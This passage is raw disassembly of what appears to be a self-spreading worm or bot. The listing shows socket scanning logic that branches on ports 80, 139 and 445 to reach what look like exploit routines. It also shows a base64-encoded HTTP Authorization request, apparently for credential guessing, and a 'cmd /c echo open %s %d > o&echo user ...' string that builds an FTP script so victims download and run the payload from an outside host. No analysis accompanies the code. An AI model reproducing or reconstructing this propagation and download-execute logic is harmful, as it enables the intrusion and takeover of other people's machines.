		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43203C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323A8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_432394
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43238F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9EC


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9D0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA24
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320CC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4320FC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6EC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432044
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432108
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432154[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB88
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432300
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB710
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432198
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9D4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA6C
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		nop
		call	near ptr 2670E97h


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


